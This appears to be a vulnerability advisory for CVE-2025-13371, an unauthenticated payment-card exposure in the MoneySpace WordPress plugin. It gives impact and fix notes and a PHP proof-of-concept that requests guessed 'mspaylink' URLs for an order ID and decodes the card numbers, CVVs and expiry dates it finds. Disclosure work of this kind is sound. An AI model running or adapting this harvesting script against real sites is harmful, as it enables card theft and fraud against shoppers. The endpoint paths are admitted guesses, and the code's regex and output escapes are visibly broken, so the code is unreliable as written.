Atomic Edge analysis of CVE-2025-13371 (metadata-based):
This vulnerability is an unauthenticated sensitive information exposure in the MoneySpace WordPress plugin (versions <= 2.13.9). The plugin's 'mspaylink' endpoint embeds full payment card details, including PAN, cardholder name, expiry, and CVV, into publicly accessible inline JavaScript without authentication. The CVSS score of 8.6 (High) reflects the severe PCI-DSS violation and broad network attack surface.
Based on the CWE-200 classification and description, the root cause is a failure to implement proper access controls on a data retrieval endpoint. Atomic Edge research infers the plugin likely uses a WordPress hook (e.g., `add_shortcode`, `add_action`) to register a public-facing page or endpoint (e.g., `/mspaylink/`) that queries `post_meta` for a supplied `order_id`. The retrieved base64-encoded card data is then directly output within a “ tag. This analysis is inferred from the description; no source code confirms the exact function names.
Exploitation requires an attacker to send a simple HTTP GET request to the vulnerable endpoint, providing a valid or guessed `order_id` parameter. The endpoint is likely a custom page template or shortcode handler accessible at a path like `/?mspaylink={order_id}` or `/mspaylink/{order_id}`. No authentication, nonce, or authorization checks are present. The server response contains the sensitive card data within the HTML/JavaScript, which the attacker can extract and decode from base64.
Remediation requires implementing multiple security layers. The patched version (2.14.0) likely removed the card data from the public endpoint entirely. A proper fix involves: 1) deleting CVV data immediately after authorization, 2) never storing full PAN in `post_meta`, 3) implementing strict capability checks (e.g., `current_user_can(‘manage_options’)`) on any data retrieval function, and 4) using WordPress transients or a dedicated PCI-compliant vault for any temporary storage, with encryption.
The impact is severe financial data exposure. Attackers can harvest full credit card numbers, CVV codes, cardholder names, and expiration dates. This constitutes a direct PCI-DSS violation, enabling fraud and identity theft. The scope is changed (S:C in CVSS) because compromising one order exposes data from a completely different transaction, amplifying the breach. No integrity or availability impact occurs, but confidentiality is fully compromised.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13371 - Money Space <= 2.13.9 - Unauthenticated Sensitive Information Exposure
<?php
/**
* Proof of Concept for CVE-2025-13371.
* This script attempts to retrieve exposed payment card data from a vulnerable MoneySpace plugin endpoint.
* The exact endpoint path is inferred from the description ('mspaylink page').
* Two common WordPress patterns are tested: a query parameter and a URL rewrite endpoint.
*/
$target_url = 'https://example.com'; // CHANGE THIS TO THE TARGET SITE
$order_id = '123'; // CHANGE THIS. Attacker would guess or enumerate IDs.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Test Pattern 1: Query parameter on homepage (common shortcode pattern)
$url_pattern1 = $target_url . '/?mspaylink=' . urlencode($order_id);
curl_setopt($ch, CURLOPT_URL, $url_pattern1);
$response1 = curl_exec($ch);
// Test Pattern 2: Dedicated endpoint (common page slug pattern)
$url_pattern2 = $target_url . '/mspaylink/' . urlencode($order_id) . '/';
curl_setopt($ch, CURLOPT_URL, $url_pattern2);
$response2 = curl_exec($ch);
curl_close($ch);
// Search for base64-encoded strings in script tags (common pattern for inline JS data)
function extract_card_data($html) {
$pattern = '/base64_decode(s*["']([A-Za-z0-9/+=]+)["']s*)/'; // Looks for base64_decode('...')
if (preg_match_all($pattern, $html, $matches)) {
return $matches[1]; // Return array of captured base64 strings
}
// Alternative: look for data attributes or JS variables containing base64
$pattern2 = '/data-(?:card|payment)=s*["']([A-Za-z0-9/+=]+)["']/i';
if (preg_match_all($pattern2, $html, $matches)) {
return $matches[1];
}
return [];
}
$found_data = [];
$found_data['pattern1'] = extract_card_data($response1);
$found_data['pattern2'] = extract_card_data($response2);
// Output results
foreach ($found_data as $pattern => $b64_array) {
if (!empty($b64_array)) {
echo "[+] Potential card data found via $pattern:n";
foreach ($b64_array as $idx => $b64) {
$decoded = base64_decode($b64, true);
if ($decoded !== false) {
echo " [$idx] Base64: $b64n";
echo " Decoded: $decodedn";
}
}
} else {
echo "[-] No card data found via $pattern.n";
}
}
// If no data found, suggest manual review of response for other patterns
if (empty($found_data['pattern1']) && empty($found_data['pattern2'])) {
echo "n[!] No base64 patterns matched. Manual review recommended.n";
echo " Search responses for 'card', 'cvv', 'pan', or 'expiry' in script tags.n";
}
?>
